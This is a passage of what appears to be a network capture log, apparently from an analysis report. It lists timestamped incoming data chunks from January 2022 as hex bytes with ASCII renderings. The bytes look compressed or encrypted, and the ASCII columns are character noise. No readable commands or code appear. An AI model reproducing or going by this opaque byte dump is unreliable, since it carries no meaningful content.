32 13 78 b4 e9 fa 11 be 09 9c db Data Ascii: e~#:pQG(um;fW(c3FI14>A !+ghjKcG9Qxjcu4b!g`y%U$s=J ^:[ (N90lmxEDrFTR[ew6+$ZOFE@BEF52x
2022-01-14 03:59:48 UTC	2025	IN	Data Raw: a4 d6 b2 bc 18 79 b4 07 40 a6 86 08 87 b9 02 02 53 96 39 b1 22 78 fa 7e 7f 12 28 1f 0d 90 2e 8f 25 4e 5b bb 5f 7d 9a 18 e5 87 2a 4b 05 52 6a 45 9d 8c 76 92 24 52 c2 2d 42 c4 2c 7b 5d 83 23 69 2b 07 b0 7a 83 19 e6 74 e9 14 10 58 e2 1e 5e 00 e8 60 14 b1 2e 44 bb de 8a 88 6d bd 54 f1 cc b9 8e cb 2d 10 08 2d 2d 2b 50 f0 00 80 ed 8f 8d d0 a1 50 a0 0e bd 69 e5 0d 41 1d 8d 21 5e 75 35 96 44 5c 32 cc 35 3b 41 da f7 3f 8d 79 5b 1f 76 7a e9 1a e3 5f 16 93 4c 6a 05 d2 d4 8c dd 8d d4 04 f2 4e aa 49 ad c5 79 8f 8f 5d 6d 59 3e fe 8b a8 a5 af 5a 7a 21 5c 81 7c 45 15 39 35 b9 0b fa 2e 45 37 73 de 6d 6b 03 24 9a 90 2f 0e 1b ef ad c7 cd 7b 98 2c aa 2d f4 01 2a e4 f1 bd 29 ed da 86 07 8a 02 e2 94 17 74 c0 aa b7 6a 6b 3e b2 25 26 7f fb 08 c6 bc b2 f8 36 68 80 3e 30 c4 8e f6 Data Ascii: y@S9"x~(.%N[_}KRjEv$R-B,{]#i+ztX^`.DmT---+PPiA!^u5D\25;A?y[vz_LjNIy]mY>Zz!\\|E95.E7smk$/{,-)tjk>%&6h>0
2022-01-14 03:59:48 UTC	2041	IN	Data Raw: 86 16 71 84 02 bb c3 21 10 d6 d0 f2 61 58 c1 85 ab ed 9c fb e0 ce bb 5c 2a 18 96 8b 2b bc 31 fd 0b 22 9d 9d 4f 60 58 fe 23 7b 6a 5c 23 dc 92 b8 05 a9 37 cc ff 4a 2f 30 0a aa 35 f5 91 00 ab 2f ac 6a 1e e7 3d ec c2 79 4a 70 87 e5 38 82 17 49 92 60 d8 e5 8e d1 bf f8 05 14 24 a6 9a df a7 ae cc 2b db 95 82 95 92 f6 f9 d9 88 25 6d 6c 3e 39 92 1c 4e da b6 4d 2c bb 2e 1b bf f9 59 17 e7 e0 e8 08 ee f9 3a 5d fe 4f b8 f8 ed 6a 86 c7 6d 4f 16 75 dd 58 0a 97 c6 1b 94 b2 02 30 a1 bc 7c 51 0c be b4 8e ed 4a 41 6a d6 1d 22 1e 29 c8 3e 95 c0 d3 0f 1f 56 69 55 5e 42 9e 21 27 15 83 37 31 74 95 79 a0 0d ff 29 56 08 09 ff 49 e1 7a 01 48 fe 36 03 a5 07 e0 1e 07 da 99 a8 15 c6 36 fe 66 3c 31 37 d1 27 27 dd 61 d1 ae bc d5 80 69 05 91 85 d5 75 57 35 15 75 0a a9 23 21 16 29 59 11 Data Ascii: q!aX\*+1"O`X#{j\#7J/05/j=yJp8I`$+%ml>9NM,.Y:]OjmOuX0\|QJAj")>ViU^B!'71ty)VIzH66f<17''aiuW5u#!)Y
2022-01-14 03:59:48 UTC	2057	IN	Data Raw: 35 43 68 2c 7b 36 bc 56 e3 b6 dc 49 21 59 cb b9 cd 09 f8 d3 5f 45 25 73 ac e3 18 92 80 91 83 e9 e6 aa ba c4 a0 47 d5 73 ae c2 a6 d2 12 2d 2c 85 ea 6a f0 eb e6 31 87 c6 67 d4 20 15 35 9c ac 54 c0 ad 8d 08 e0 a9 24 a7 85 19 11 af 0c 26 ef 86 55 06 cc 42 88 b9 70 ea 7b 59 eb 5f 6b 57 f4 60 a9 ab 28 6b 57 33 9d 53 a0 2d 5a 69 21 0a 52 bc c1 6e 70 e9 4f 0e ba cd e2 2a ff 8b 0e 04 ab e4 d6 85 a7 b2 f6 7a 17 ef 03 8a fb 80 43 00 df 27 f0 ba ea 34 e4 67 e2 b2 c5 75 fa e8 f3 50 c8 41 e0 80 a4 10 6e 19 6a 22 a6 fb c6 ea c3 5a 43 23 f6 90 2f 26 90 4e bf 99 5e 93 22 e2 d0 63 ef f1 05 fa e6 17 6c 4a cb 62 3c d8 66 ae 25 7b cd 59 5d 64 d6 a7 43 9d 20 3e 12 20 90 fd bb 6d 15 0b 1d 87 93 b4 b2 fa 21 9c 0e 94 f8 5b 14 63 4d 3c 2e 4e ff 96 fe bc 64 5c 50 ff f5 3f db 3f a5 Data Ascii: 5Ch,{6VI!Y_E%sGs-,j1g 5T$&UBp{Y_kW`(kW3S-Zi!RnpO*zC'4guPAnj"ZC#/&N^"clJb<f%{Y]dC > m![cM<.Nd\P??
2022-01-14 03:59:48 UTC	2073	IN	Data Raw: 93 73 3b 01 0f 84 24 5d 4a 07 fb a3 a0 a6 8b 20 f9 73 94 4d c1 41 d0 90 50 4f 98 d0 49 d7 1e a2 1d 14 12 70 e4 b2 f2 59 f4 fd 8c 03 a9 c6 6e fd a0 7f e2 22 1c de 45 6c af a6 da 12 c2 0c 69 30 4d 57 f0 72 cf b7 e3 6c c6 8b e0 76 5d 8d a3 69 da af f8 46 cd c0 31 bd 86 42 12 99 5a 86 b5 10 36 0b b1 6f 36 bd 84 12 f3 4a 17 66 67 a7 c5 20 2d 96 61 61 a1 30 e5 2d a0 8a 49 d8 59 2d 42 a2 27 86 21 de 38 34 36 c7 9d ca a5 02 91 77 77 c9 a2 6e 2a e3 9b 8b b7 50 c0 db 03 da 5c 53 b5 0f 06 69 19 2a 0a c1 e1 0a 79 0c 3f 63 e2 87 c1 88 97 29 dc db c2 c6 9b 28 19 8c c0 1d c7 60 ac 49 1e a5 2b c8 a5 a2 dd d9 9e 0d 75 b8 53 9c 02 f6 ea d6 3d 7f 4e cd 9b 3f f1 8c ec 01 2a db 2d 8d 6b 05 16 4b 22 a1 81 97 18 2a 02 af 25 22 67 4e c3 29 e0 57 a5 43 02 2c 4f 99 9c 17 b4 0b ec Data Ascii: s;$]J sMAPOIpYn"Eli0MWrlv]iF1BZ6o6Jfg -aa0-IY-B'!846wwnP\Siy?c)(`I+uS=N?-kK"%"gN)WC,O
2022-01-14 03:59:48 UTC	2089	IN	Data Raw: 9d 23 58 af 52 08 63 74 b5 f1 c9 6d eb 1b 73 d4 16 6f d7 48 d9 ce 24 7f 0e 54 34 66 f8 45 5a 1b 2b 15 7c 60 b4 22 bb 10 e8 f3 16 eb 33 d8 d4 5e 13 8b 5a 88 ac 2c 76 56 50 1b 82 f9 50 91 f9 4c 94 17 44 97 f5 80 82 e2 df 70 e4 3c 62 34 f7 92 ef 20 cf e9 52 07 f3 b6 29 e6 29 83 5e 23 db c4 ab 83 89 c4 00 6e 1a 20 d2 81 fe 2f 93 7f 65 a6 b7 6a 63 1d 86 e0 a9 c6 8b e3 9b 27 ba 89 e3 f5 56 4f 94 40 1f 2e 38 d9 96 99 20 39 00 7b 49 71 51 09 63 ea 65 c0 c1 66 a9 12 a3 55 09 e7 db e0 13 44 e9 89 f7 99 ab 90 a1 b5 1d cc 59 b4 39 91 1b 96 3e d2 e5 80 2c d5 94 84 24 f4 aa e2 58 ad 1e 0e 04 4c a7 be 0b b9 f7 f0 b2 43 52 c6 b7 a0 e4 0a f8 79 08 ef 0f 97 04 69 8f 71 a9 fa a7 21 d2 f2 d0 be c4 3d ee 6a 9f 0b 44 06 f0 6f 57 ff 1b 35 4b ba 85 1a 85 3b 98 fc 11 66 ce 5b 76 Data Ascii: #XRctmsoH$T4fEZ+\|`"3^Z,vVPPLDp<b4 R))^#n /ejc'VO@.8 9{IqQcefUDY9>,$XLCRyiq!=jDoW5K;f[v
2022-01-14 03:59:48 UTC	2105	IN	Data Raw: 9b 35 9f 39 85 a2 82 0a 80 c6 6f de f0 54 6d 3e 26 b8 85 f2 e1 29 9d b4 d3 ac 09 e1 db 6a 0d 2c 9b f8 42 2b 0d 1c 24 fe e9 4f 91 c3 be 12 69 33 de 66 97 79 e4 31 5d 32 53 77 0a 27 55 19 a1 0c 5c 85 4e 5d c9 36 e8 51 99 08 db 94 e5 69 cb f1 4e ca 01 6a a7 84 16 50 61 5a 85 dc 96 e6 8a 5d 96 59 32 15 ce 1a b9 bd 95 62 4c f8 6f 1a 86 06 b6 2d 66 2a 52 48 58 56 d7 cd 88 1e 96 f1 34 70 93 83 27 63 5c f7 ba 93 4e 91 61 8b 2d 56 b9 0b 8f 86 3b 4c 6b de 1a db 0b 2b bb 9b 76 31 bf f0 83 64 d2 74 9f cb e9 75 43 17 a1 32 47 90 7a 51 51 52 a2 48 ff d9 ec ce 96 48 ff c3 e6 16 68 a6 c5 6a 28 2a 38 ff 39 d6 2e c5 6b b9 7c f7 f5 34 5d b3 12 41 81 cc 6d f0 6d bd ac 60 4b a8 9c 7e c4 ba 59 1d 95 0b d2 bb 05 1c 1a d4 fb 40 a4 21 17 0e 18 0e 6a 2d 36 26 f4 39 da 2c bc 05 f6 Data Ascii: 59oTm>&)j,B+$Oi3fy1]2Sw'U\N]6QiNjPaZ]Y2bLo-fRHXV4p'c\Na-V;Lk+v1dtuC2GzQQRHHhj(89.k\|4]Amm`K~Y@!j-6&9,
2022-01-14 03:59:48 UTC	2121	IN	Data Raw: 7a d8 44 a4 ec 0b e2 2c b9 7b e4 70 3f 8e 60 12 df 2a 11 18 48 89 6d ff 72 52 a2 6f 8c 9a 28 d1 b1 da a0 4c d4 87 dd 8f 0a a9 56 0b 49 f7 9f eb 52 6b 4e 05 61 60 4a 3e ce ef 61 c3 72 3d 95 7c 2d 6e 1d 39 27 89 a4 0b e6 b0 79 4c f2 69 5c 41 b4 0c 95 ed 70 73 ab bc c7 f8 be 0e 5c 06 73 c8 49 d4 fa b5 27 23 e0 d7 2a a5 6d 4e 3a 4b e1 da 3a 0d 45 96 ee d0 87 f6 bc e7 42 e1 9f 8f dc 36 db 1c bb f3 f1 84 d3 c7 ea df db 53 82 2c 39 c5 64 92 00 61 ea 19 ab 64 b5 98 60 3e 64 c1 4b d2 c9 25 2b 98 5a 7f 70 66 a9 33 4f df d8 e9 4e 58 17 96 56 97 50 4c b2 a4 0f fa 53 8b 7b f8 a0 6f 9f 1c fc 65 e9 e7 74 80 5e 8f 96 43 f8 57 13 c2 6a 89 9c f1 90 f1 6d c9 a2 34 7f e8 da aa f9 08 ef bd ee 69 2f f8 4e f3 1d a9 61 e6 2a 57 c4 ba 1d 58 76 cf 1d 25 6f 7f 89 80 12 92 ce cc 9d Data Ascii: zD,{p?`HmrRo(LVIRkNa`J>ar=\|-n9'yLi\Aps\sI'#mN:K:EB6S,9dad`>dK%+Zpf3ONXVPLS{oet^CWjm4i/Na*WXv%o
2022-01-14 03:59:48 UTC	2137	IN	Data Raw: 92 db 98 bf 72 4b c2 c5 d5 b4 0f 8d b3 27 ba db 03 8d b3 4d 84 ec b9 0b a1 58 f4 b5 19 a5 ed ee 3f 69 8d 01 6b 64 17 c1 0b a7 b9 ed ac 56 9c 5d ab c5 26 48 98 c7 36 bf ee a5 8e 75 21 e7 7e a4 73 df 39 9f 6f b0 bd de f5 8d 35 2a 84 c2 cf 2f 1d 5c f7 13 30 b0 03 94 90 e1 4f 45 e9 7d 5d bd 46 31 d7 fb 7a 3d 0f 00 d4 d1 98 45 5f f3 e9 1c 54 d0 31 44 b9 45 94 46 b8 fc 91 ca 9b d7 8f 2f e4 0a 6d 53 88 db c1 f5 1b 1b 0a c0 b2 1c f8 7e a7 82 9e 11 7f 38 8a 8a bd 70 cd d5 73 6e db af 07 de b2 27 04 56 22 d5 72 ad 63 4b a5 1c 7e 33 4b 7e 40 97 1b 1b ec c4 95 2b f9 03 e3 84 63 aa 73 b7 d7 55 e4 5b fc 3c 55 e6 8d 9a 35 c1 98 d2 07 5a ca 93 18 ba 42 45 7c 2c ce 7c ca 4e 97 36 60 22 0e a2 90 18 cc ea ca 9d 60 3b 6b f7 38 1d 18 0f b9 50 ba 5a a3 62 03 04 10 80 68 8a ef Data Ascii: rK'MX?ikdV]&H6u!~s9o5*/\0OE}]F1z=E_T1DEF/mS~8psn'V"rcK~3K~@+csU[<U5ZBE\|,\|N6`"`;k8PZbh
2022-01-14 03:59:48 UTC	2153	IN	Data Raw: 85 49 f2 c4 31 32 18 72 90 e8 5e f0 25 a1 4b 78 25 12 63 3b 86 41 31 d5 f9 bf 59 c3 c6 66 be 0f ea 64 8d d5 e2 36 71 b3 d2 16 bd be 0e 81 db 1c 81 16 37 53 e3 5e 87 23 eb 1b 40 6f fc a9 ff a1 b2 24 cb 6d a5 b4 a0 9e ac 5f f7 21 f0 18 a1 0e 43 dd 39 f5 ac ce b8 1f 17 67 7f 14 43 90 47 22 57 5b 5f 1c ec b6 2e e7 90 50 e9 2c 3d b5 89 0a 8b c5 3c 33 71 c0 a9 2a b0 3b 1a d7 12 3a 70 b0 73 ec 75 02 04 ed ad f0 07 01 ae 13 bc 8e 6f 62 e5 c9 52 c3 31 73 5a 76 29 1e 4d a4 f8 3a 70 d9 11 65 57 44 2f a6 11 ab c5 d5 16 af 0b b0 36 fa ed f8 9d 6e 3a b7 83 66 9b 5d 7e 3f 5c 24 1c a2 18 89 12 f3 c4 c6 99 6c fe a7 79 00 cb 86 b8 18 eb fd 7d 29 fa a3 42 1e 94 3d e1 10 0c 35 5b 5c ca 9f 63 22 ff b4 0e 26 de d9 bb 94 dd 2f b0 43 d6 82 31 2c c1 0c a0 91 26 e5 2a 67 b4 c5 27 Data Ascii: I12r^%Kx%c;A1Yfd6q7S^#@o$m_!C9gCG"W[_.P,=<3q;:psuobR1sZv)M:peWD/6n:f]~?\$ly})B=5[\c"&/C1,&g'
2022-01-14 03:59:48 UTC	2169	IN	Data Raw: 9e 97 73 17 ad a7 3b 95 9b 2a bd 75 5f b6 96 58 dc e8 8a 34 6e 41 bc b1 7d e6 31 ff dc 61 5f e6 b0 9d c2 90 cb c8 b0 d0 77 63 bf d2 58 00 22 03 8b f8 b8 36 d1 d1 08 cf 1c 88 28 e7 6a d3 3b 3f 9c 2d d3 b2 e9 a9 12 8a 72 21 2d 94 2e 6e 14 15 59 5f e8 98 9a 78 85 25 4b d0 62 ab 45 97 56 ad f3 19 ec 2a 7f c7 ed e9 5e 80 eb de 85 a8 5d 20 e1 45 be 9c b2 ec 95 97 a4 c4 50 dd 2a 2f 91 68 a4 6d cd 93 3f 72 22 77 50 70 2e aa 7b 11 5f 76 fb 04 14 a2 05 9e be ca 18 fc 9b cb de 89 ea 1a fa 1b d3 cb 03 e5 ef 2e e8 af 2d 38 9b 93 56 8d 32 44 c9 7a 97 46 2b 1d e3 44 54 31 87 74 af 79 2d c0 c3 23 1c 70 5b f1 a2 06 e6 b8 a1 97 4d 0c f4 e0 39 c7 c9 d0 a7 76 9a c4 7c 6f db 4a 65 d6 69 f1 e7 e7 09 ee 9d 6b e1 12 14 2c 34 4d 06 d7 82 90 de c8 46 50 2f 7c 76 14 98 bb 2a bd 41 Data Ascii: s;u_X4nA}1a_wcX"6(j;?-r!-.nY_x%KbEV^] EP/hm?r"wPp.{_v.-8V2DzF+DT1ty-#p[M9v\|oJeik,4MFP/\|vA
2022-01-14 03:59:48 UTC	2185	IN	Data Raw: 3a dd ab 66 e6 81 f7 ff e2 1e 80 b3 18 8a 54 06 fe a6 ce 8d 42 ac 70 a0 7c 7b 79 fd 95 17 e5 92 3a 23 4c 82 66 46 38 93 00 61 22 02 9a f6 61 55 82 55 7e c9 8d 6b a4 a4 6a 39 cb 60 db 9e bb 09 ec 88 83 a7 2d b5 c8 59 cd a0 f4 a2 44 94 be ab 04 14 3f cf 4c e5 fd 85 65 ce 50 81 1d f4 85 e7 1f 1c 5c d3 8c 7e 97 18 13 7e a2 a2 f2 1e fd 10 5d 70 f7 bb 56 13 f6 78 89 91 1f 68 e5 40 6b 0b 6b 40 99 ae a3 bc 75 57 94 75 5a de 54 bd a5 0b 2e 15 a9 cc b6 d1 4e a1 42 0f 8d 40 84 22 88 00 d0 63 b3 1c 10 f4 f8 cf 6c 69 b2 84 4e e0 a2 1f 0b f3 f1 b9 5d 5c b1 10 35 44 fc 23 06 f7 96 8e 37 6d 7c 19 cb af f0 e2 0b 1c 44 c3 93 d9 eb 0a eb df 76 f0 3f f1 25 8d c7 f1 2f c2 87 0e d8 89 a8 24 bf de ec 03 48 be 04 96 8a 07 63 3e 7d 88 3d bf b8 c0 e2 13 0a c3 bd 13 d0 20 92 80 b7 Data Ascii: :fTBp\|{y:#LfF8a"aUU~kj9`-YD?LeP\~~]pVxh@kk@uWuZT.NB@"cliN]\5D#7m\|Dv?%/$Hc>}=
2022-01-14 03:59:48 UTC	2201	IN	Data Raw: ac 39 69 cd b9 bd ab d4 56 a9 23 6c f1 84 08 43 b1 36 02 28 79 f8 a2 1b a0 43 2f 40 46 62 55 1b 9b 89 50 b5 da 9f 83 db bb f6 14 f3 5e 18 32 f3 c4 dc 0e b8 6c 77 c4 81 50 55 bd 4f cf 7e fc dd 16 ee 2c 86 71 8a 0b ce 5e 0a e7 bb fd 48 44 5d 6c a3 58 2c 2e f0 66 50 15 b9 46 4c 1f 4e e0 f9 9b a2 82 02 fd 3e a7 ab b2 96 c1 08 b3 dd 60 f4 52 83 01 4c 23 63 41 d8 aa 3b f4 14 1f d3 62 77 5d e8 ab c2 1a 09 1c 6f 97 76 d7 b0 44 80 98 33 da 47 f1 0d 95 6a 0a 19 28 61 52 c8 06 e5 48 73 ce 12 6b e5 22 cb 2a c1 83 c4 44 f7 84 96 fc f9 3f 66 29 ee 4e 30 61 02 74 8d f8 4c cc b4 70 17 82 aa 96 bb 13 f1 2f 7e 24 18 23 7b 10 09 f2 23 97 09 84 8a 0d dd 9a 9c 95 79 64 1f 38 13 40 ed 5e b5 e6 df 27 84 35 3f 06 38 5a 31 81 69 6e c9 3d 45 dc 4e 5d b4 44 8f bb 4c f9 01 f2 32 6d Data Ascii: 9iV#lC6(yC/@FbUP^2lwPUO~,q^HD]lX,.fPFLN>`RL#cA;bw]ovD3Gj(aRHsk"*D?f)N0atLp/~$#{#yd8@^'5?8Z1in=EN]DL2m
2022-01-14 03:59:48 UTC	2217	IN	Data Raw: a7 85 91 11 ec 03 1c 66 0a c9 d3 39 ba 8b f2 73 ea 56 7d 6b 7f ae f9 03 3a 32 c0 65 19 ca 48 7d 4d 8c 2a ba 79 b2 b0 d4 c7 6e 34 06 df f3 08 9b 9f 94 53 9a ca 84 33 1d cb e0 a0 1c 8d 5e fe 42 b8 2f 92 03 40 0e 36 f7 66 ae 17 a2 ea d0 5c e9 43 dc d4 2e 1f 8f 5e 29 a4 34 45 9b 5d ad aa 20 26 57 2e 5f cb 99 63 b4 72 19 ec 57 ab 85 44 23 84 6a 78 31 ae 89 ee 5c 0f 24 0d 6b 54 83 f3 e0 16 20 cf fd 6c e2 f6 7d 26 9c fe 5a 5c 9f b5 0b a0 64 e6 3f d0 86 69 9f bf 88 a7 4b 73 98 be f5 a2 68 7c 0b 5c 95 c3 83 08 8e e6 ae 9a fc 85 f2 de 33 f0 35 3d 55 37 9c 46 d4 b7 6b 00 07 b9 e1 c0 d6 ec cb 78 d2 1b 16 ce 03 55 63 86 cd 34 99 28 f4 70 2a 0f 8d 30 62 0e 2d 7b a1 c0 17 6f 57 3b 14 f8 c4 07 f4 9b 66 7c a0 e0 0c cc 6e 3a 88 0d 6b e9 db 94 38 fc b0 ad ab ba 5c 48 dd cb Data Ascii: f9sV}k:2eH}Myn4S3^B/@6f\C.^)4E] &W._crWD#jx1\$kT l}&Z\d?iKsh\|\35=U7FkxUc4(p0b-{oW;f\|n:k8\H
2022-01-14 03:59:48 UTC	2233	IN	Data Raw: 3a 67 28 4e 22 9d c3 db 9d fc bd c3 3c 81 7a fe 6a 47 d5 bc b5 46 29 c7 0a bc b4 d2 e4 d5 06 54 77 7a 08 38 c0 88 4d 07 1f 83 bf 5e d6 d6 ae c5 04 37 af 0d 81 42 6b ef 98 99 b8 8e 94 ce d8 a7 b2 61 f7 b7 9c 9f 73 19 68 41 f3 1a da c7 0a 02 f8 2e 02 48 4f 0b 27 13 ec 9f 85 81 3a ec 37 18 f9 43 b6 7e c8 78 f1 ea c7 85 d6 b5 57 72 80 c6 22 e0 47 a8 5c c8 c7 1b 8a 8b f3 71 ec 8b 59 0e df 56 7c 5d dd c2 e8 2f e7 e4 61 68 de c0 a1 aa 1d 78 28 7d 7b 68 0b 66 7d 7f 77 45 94 5b d0 ab de 44 4d 3c 77 cc de fe 82 6f 86 78 9d a4 5f ab 1c 19 fa b5 88 c6 95 77 05 ba 38 20 e0 76 35 7b ce 18 7e 49 60 ed 32 85 90 5f 72 e6 50 73 8f d8 9b 9e 6d 0c 9d e6 72 30 27 c6 6d c5 d6 0e 97 80 3f 4a 1d e5 5b b9 17 17 df e7 5e 4c 80 a8 fc f2 e6 62 99 9d 6e 3c 70 d7 5b d2 b0 d7 8c b9 26 Data Ascii: :g(N"<zjGF)Twz8M^7BkashA.HO':7C~xWr"G\qYV\|]/ahx(}{hf}wE[DM<wox_w8 v5{~I`2_rPsmr0'm?J[^Lbn<p[&
2022-01-14 03:59:48 UTC	2249	IN	Data Raw: 06 39 85 21 59 86 9e a3 15 3d 25 33 b6 56 49 e1 47 35 cd 92 e3 15 ac 40 be 81 c4 f3 2a 9a c9 09 aa de e1 74 a8 c0 2f bd fe a7 62 50 5d e3 7a d5 bd 90 e2 8d 6f b2 1b 51 75 ee cb a5 6e bc c5 87 88 f3 79 9d 43 fd 1d 80 80 fd 5d ef b7 70 f3 e4 f0 cb af 8e 85 19 7c d8 56 56 34 52 10 1f 5e 68 3b 35 86 65 94 55 53 d7 ea 8c 85 b4 eb 89 be 83 c1 c8 d2 e5 e2 af 48 7a 91 47 52 92 8e 54 bd a1 ee 33 1b eb 3b 31 cc 66 e3 f1 91 8e 72 0b 7f bb 48 55 2e 2d 1e ef 7f 63 43 1b 13 23 32 47 f7 c6 31 d3 6b 69 a8 6b b4 27 16 ba d8 d0 a0 81 7d 0e 89 a2 b8 7a 5a 6d 92 c5 2b 2e f1 4d ef fb f4 4f 8d 87 10 eb 5b 39 c0 a8 b9 bb 2b 07 16 19 2a de 45 db f8 ca a4 e3 5f 25 ac 5e 3d b1 18 25 6a 6c e3 c9 a0 6a 42 ab f8 59 f5 70 fa 5d 4b fa 67 15 b1 cb ba c2 a4 5f 91 3e da 08 30 3a 4c 62 f8 Data Ascii: 9!Y=%3VIG5@t/bP]zoQunyC]p\|VV4R^h;5eUSHzGRT3;1frHU.-cC#2G1kik'}zZm+.MO[9+E_%^=%jljBYp]Kg_>0:Lb
2022-01-14 03:59:48 UTC	2265	IN	Data Raw: 43 93 b8 d8 9d f6 f6 a3 06 03 28 17 37 f7 01 42 c5 20 54 05 7a aa b8 89 d8 7b e5 4d 61 2d f5 85 38 b6 16 a2 73 f8 ca b7 9e ec ba ec 41 74 26 e1 57 b5 3f 1a c3 05 03 a4 c1 a3 3f df 48 b7 e1 70 d8 b2 48 26 cc 86 8e 85 99 16 d6 c7 4c fc b7 23 ab 5d 1f 79 29 ea d3 bc e7 e1 e9 fb c8 c4 73 f0 33 81 d1 eb 93 b3 9c 16 7b 4b 8f 1b d5 0e 1c 58 20 b5 1f 27 90 cd ff 89 5b 96 43 c3 10 ec a0 64 c4 05 b0 94 30 74 50 69 85 f9 1a 27 06 58 b4 76 74 02 c9 0b 99 67 52 97 e6 07 60 e8 83 50 c2 04 35 f0 b1 ea f3 87 34 0e 2b ff 82 7c 7e 8c 9e 31 dd a0 8d e4 e6 35 1f 0e 3b c6 bc 8c 60 a1 62 1a fa 49 4f 64 b9 af 52 72 3a e3 a3 62 ae 71 8f f5 49 19 f9 cd 52 aa e4 06 a1 9b 41 65 9c 93 cf 5b a7 b5 b1 01 ca 21 ff 6f f8 8e 23 a3 83 e0 89 0a df b8 d6 a0 66 1e 8a 12 23 4d 37 60 96 03 1a Data Ascii: C(7B Tz{Ma-8sAt&W??HpH&L#]y)s3{KX '[Cd0tPi'XvtgR`P54+\|~15;`bIOdRr:bqIRAe[!o#f#M7`
2022-01-14 03:59:48 UTC	2281	IN	Data Raw: b5 fa 91 8c 90 22 68 42 8c 74 10 74 e2 81 67 66 4e 2b 27 aa 68 32 e9 47 7a c7 8a 99 4d 4f 32 35 64 9b a0 11 d7 9a 7f cb 8c fc ca 32 f0 b0 34 a1 30 fb 39 16 e3 c8 7c 9c e2 c2 30 6e 65 7e 3d 29 12 68 b6 59 4e 21 4f ad 24 2d ac ea bf 89 13 71 ae d1 7b 18 71 43 05 55 8d 79 eb 6b a2 28 97 d5 16 14 26 27 38 3f 6b a2 00 19 82 7f 0f 7b fc e0 3b b5 c1 52 54 18 ec 63 a5 75 78 5f 6f 38 b3 32 1f ce ba ab df 45 40 fa a7 2a dc 0e 9b 12 22 d2 fd f5 3a f1 15 32 84 d8 5a 54 fe 48 1f 30 56 a0 24 1d a8 f8 78 ad ae c0 2a 5d aa 21 bf d3 9a c6 c4 8b 9c aa f2 09 15 60 cf a9 10 f9 8a d4 e5 b0 27 32 34 b7 2e 00 dc 55 fa 7e 18 d2 b7 79 af 75 fa b9 ad 59 3e 29 07 42 6c 60 e4 d4 c9 8f f3 42 1d ea c0 fd 70 25 6a 19 fa 4a fe 93 87 4b 82 e3 04 a6 5c f1 4d 1f d4 12 9c fd f4 76 4f 0a bb Data Ascii: "hBttgfN+'h2GzMO25d2409\|0ne~=)hYN!O$-q{qCUyk(&'8?k{;RTcux_o82E@":2ZTH0V$x]!`'24.U~yuY>)Bl`Bp%jJK\MvO
2022-01-14 03:59:48 UTC	2297	IN	Data Raw: e6 f2 80 65 75 02 e9 8c 9a 8e b1 1c 45 54 bd 16 8f 22 8f 23 28 13 ca c6 fe 6d 16 4b d9 6b df cd f0 b8 2f 47 23 8a bf ea d7 65 9c 9a 3f eb 10 de 01 d0 96 82 a7 e8 7c c8 cf e8 ab ac f0 b2 f6 f5 d5 8b f6 9b 41 f9 79 df 19 90 75 e1 3f 88 ac 5f 1a 73 c7 85 b0 4a 43 64 7c 32 ec 23 24 a6 8e 5c 9d f3 ae 48 37 f5 9c 27 cf 83 d8 a2 80 5f 5c 36 e5 78 44 e9 f3 03 e9 27 43 3f 48 d0 ac b5 26 1e 7a a0 e8 10 81 99 d9 bf 7a 9f d9 b1 df 2b 05 f1 da d9 17 9f 49 e6 e1 a9 6d 98 76 11 46 5a ec c3 c5 40 42 3a 9e 7f dd 01 33 6d 5e e5 78 16 52 65 1e ad 57 cc b2 d1 aa 73 03 4f 51 fc 2f de 81 0b 4c 7a 11 ce 22 46 9c 8c b2 35 86 bb d0 1a ea 6f cc f5 34 67 1d a3 3e 21 b3 c2 69 1a 41 07 66 24 cb a5 0e 72 9c 89 b2 d6 9d 8f a1 7f 13 9d 71 10 3b 23 c2 79 e7 5b 18 cf d2 c7 b3 33 bb 0a be Data Ascii: euET"#(mKk/G#e?\|Ayu?_sJCd\|2#$\H7'_\6xD'C?H&zz+ImvFZ@B:3m^xReWsOQ/Lz"F5o4g>!iAf$rq;#y[3
2022-01-14 03:59:48 UTC	2313	IN	Data Raw: e1 4a 3b 54 0b 3c d6 6a 72 99 f2 c8 9a 19 4e ea 48 bb 0d ab 4c 72 02 b5 4c b2 a5 36 ef e9 06 37 1d b4 c1 f8 2a 80 d7 86 8d 05 d6 12 cc 66 d5 fd a4 37 dc 04 fa 38 52 65 fd 1b 30 88 4f 22 14 fa c2 31 82 e1 89 e6 53 f4 e7 f3 85 89 37 01 7f 89 cf 7a 51 ce 98 ee 2e 38 79 d0 47 dd 37 a5 b0 2d f2 ae 6d 73 bd 80 cd 73 b2 cb fc 82 cc 84 a9 6d ed f0 4d 37 eb d3 dc 5f aa df fc 47 ce 6f fe 50 9b 44 b5 55 18 13 74 c9 3e 58 6a a3 56 b4 01 af 7d 8b e0 fd 35 92 c0 0e d3 eb 08 b6 32 28 6d 9b 49 a4 e0 17 f5 58 2a 5b c8 31 53 1d 94 40 47 a4 8c 38 83 7b b0 4e 9f 9c cf c3 56 51 12 b5 ac f7 69 e2 ac cd 63 c5 64 3e 4a a3 11 57 d7 1e 84 10 43 7f 35 9c ae 6c 62 f4 73 40 f5 4c d0 fb b9 2f 4e 43 9b f3 f8 0d e7 c2 9a 02 68 ab b5 9f f0 09 ea 07 91 ac 49 ec a9 c3 d1 0f 5a 5f 50 ae 34 Data Ascii: J;T<jrNHLrL67f78Re0O"1S7zQ.8yG7-mssmM7_GoPDUt>XjV}52(mIX[1S@G8{NVQicd>JWC5lbs@L/NChIZ_P4
2022-01-14 03:59:48 UTC	2329	IN	Data Raw: 8c 5c ad 04 31 b2 87 a4 57 1f f5 1c 65 60 85 a3 d1 f2 72 41 4f d7 6d b8 a7 8f 34 a0 a5 b8 08 6a b2 38 21 1a ee bc 24 ed 98 17 56 6f 12 ca a1 5a 32 e3 17 9e 80 a9 d4 13 ae 8b 8e e9 57 43 1b 9e 13 bb f9 00 1b d5 16 ac c5 ab 1c f7 6f e8 82 1e 96 26 53 d4 f8 d8 e7 4c d8 91 3f 6e ec 8a a5 e5 69 b3 3f a7 2f 85 cf cc d5 1d cb 65 f9 3e 67 9c 2e e2 01 52 91 1f dd 4f 82 c2 3c 56 70 ff 96 b7 07 61 06 ee 76 01 46 d8 9c 91 48 38 a7 a3 54 4a 2d 64 ab 32 a5 89 a9 ef a2 50 e1 4f 6c 54 fb 99 2d 6a 6a 1a e1 df b0 3d 05 cd c2 5a 3f c2 ee 03 9e 67 99 9c f4 8d 99 e8 4e 20 d7 33 56 51 6c 93 63 be c9 0f 06 d9 18 bd af 80 f9 6b e5 7c 0a 99 ca 07 22 25 94 66 b9 57 77 0c 73 5d c2 